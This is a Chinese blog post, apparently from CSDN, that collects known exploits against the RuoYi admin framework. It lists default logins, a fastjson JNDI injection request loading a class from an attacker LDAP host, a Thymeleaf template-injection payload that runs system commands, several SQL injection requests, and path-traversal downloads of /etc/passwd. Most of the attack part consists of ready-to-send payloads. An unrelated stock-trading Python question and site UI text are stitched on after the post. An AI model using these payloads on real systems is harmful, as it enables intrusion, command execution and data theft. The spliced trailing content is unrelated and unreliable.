若依nday复现

前言

声明:此文章仅做学习,未经授权严禁转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关
本文章只做简单汇总,在此感谢其他师傅的文章和分享

前置准备

环境搭建

下载:https://gitee.com/y_project/RuoYi
自行选择版本下载搭建
我这里使用的是别的师傅的搭建的站,就很少截图了

复现

弱口令

1

默认账号密码:admin/admin123 或 ry/admin123

druid监控默认账号信息

请求地址: /druid/*
控制台管理用户名和密码:ruoyi/123456

组件漏洞

在这里插入图片描述
根据上述组件信息,去查找对应漏洞fastjson1.2.74

shiro反序列化

找到默认密钥,然后使用shiro相关利用工具里即可
在这里插入图片描述
在这里插入图片描述

fastjson

漏洞点:系统工具–>代码生成–>导入–>用户和角色关联表—>修改->模版选择数表,其余的都选择用户ID,点击保存
在后面添加即可

POST /tool/gen/edit HTTP/1.1

params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory&params%5BresourceName%5D=ldap://vps—ip/Evil

在这里插入图片描述

创建恶意类,具体可查看别的师傅分享的文章,我这里不是很会

Thymeleaf组件漏洞

漏洞影响:RuoYi <= v4.7.1
可知/demo/form/localrefresh/task 存在漏洞
本来是想弹计算器的,但毕竟不是我自己搞的站,就不作截图演示

POST /demo/form/localrefresh/task HTTP/1.1

fragment=header((${T (java.lang.Runtime).getRuntime().exec("需要执行的代码")}))
再对(${T (java.lang.Runtime).getRuntime().exec("需要执行的代码")})进行url编码处理
fragment=header(%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d%29)

sql注入

1

漏洞影响:RuoYi< 4.6.2
漏洞点:角色管理-》搜索
在这里插入图片描述

POST /system/role/list HTTP/1.1

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

或者
POST /system/dept/edit HTTP/1.1

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

或者
POST /system/role/export HTTP/1.1

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

2

漏洞影响:4.7.0<x<4.7.5
漏洞点:后台 com/ruoyi/generator/controller/GenController 下的/tool/gen/createTable路由存在sql注入
在这里插入图片描述

sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));

任意文件下载

RuoYi<4.5.1

/common/download/resource?resource=/profile/../../../../etc/passwd 
/common/download/resource?resource=/profile/../../../../Windows/win.ini
/common/download/resource?resource=/profile/../../../../xxx

监控信息泄露

在这里插入图片描述

swagger

http://xxx/swagger-ui.html
http://xx/v2/api-docs

#encoding:gbk import pandas as pd import numpy as np import talib import datetime import time import sys sys.path.append(r'D:\国信\国信iQuant策略交易平台\bin.x64\Lib\site-packages') import pymysql stocklist = ['002587.SZ', '300548.SZ', '301046.SZ', '001287.SZ', '300052.SZ', '300603.SZ', '300926.SZ', '300605.SZ', '300826.SZ', '301049.SZ'] def init(ContextInfo): ContextInfo.accID = "410001212417" #str(account) 交易帐号 ContextInfo.buy = True ContextInfo.sell = False today = datetime.datetime.now().strftime('%Y-%m-%d') #定义时间 order_time = today + ' 19:06:30' #定义时间 买股票 ContextInfo.run_time("myHandlebar", '1nDay', order_time, "SZ") #一天执行一次定义的myHandlebar def myHandlebar(ContextInfo): try: db = pymysql.connect(host='127.0.0.1', user='user', password='123456', db='python') print('数据库连接成功') except pymysql.Error as e: print('数据库连接失败') def get_stock_data(stock): G1 = ContextInfo.get_full_tick([stock]) # 获取分笔数据 G2 = [stock, G1[stock]['lastPrice'], G1[stock]['lastClose'], G1[stock]['pvolume']] # 最新 收盘 成交量 G3 = ContextInfo.get_last_volume(stock) # 总流通股 G4 = ContextInfo.get_instrumentdetail(stock) # 财表 G5 = [G4['TotalVolumn']] # 总股本 S1 = [G2[1] / G2[2] * 100 - 100] #涨幅 S2 = [G2[3] / G3 * 100] #换手率 S3 = [G2[1] * item for item in G5] #总市值 return [S1, S2, S3] stock_data = {} for stock in stocklist: stock_data[stock] = get_stock_data(stock) print(stock_data) 我打代码是这样,打印出来的结果是:{'002587.SZ': [[1.0479041916167802], [1.9914331748339686], [4397895000.0]], '300548.SZ': [[-3.7646314457450103], [9.90358201249419], [8700728400.0]], '301046.SZ': [[1.8993668777074362], [2.722894468951476], [4577520200.0]], '001287.SZ': [[0.9848484848484986], [4.357778802843653], [20258934000.0]], '300052.SZ': [[0.16330974414806576], [1.3332567665862716], [4818040000.000001]], '300603.SZ': [[0.3496503496503607], [1.4677953941892266], [5335789200.0]], '300926.SZ': [[-0.25839793281653556], [6.75514802163393], [6457471200.0]], '300605.SZ': [[-0.13888888888888573], [1.495405645304456], [2364934800.0]], '300826.SZ': [[8.338480543545373], [15.573514174701398], [2553824000.0]], '301049.SZ': [[-8.936698386429455], [19.581253894080998], [2074442500.0000002]]},在这代码的基础上,帮我把其中的'002587.SZ'对应的数值打印出来
07-25
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值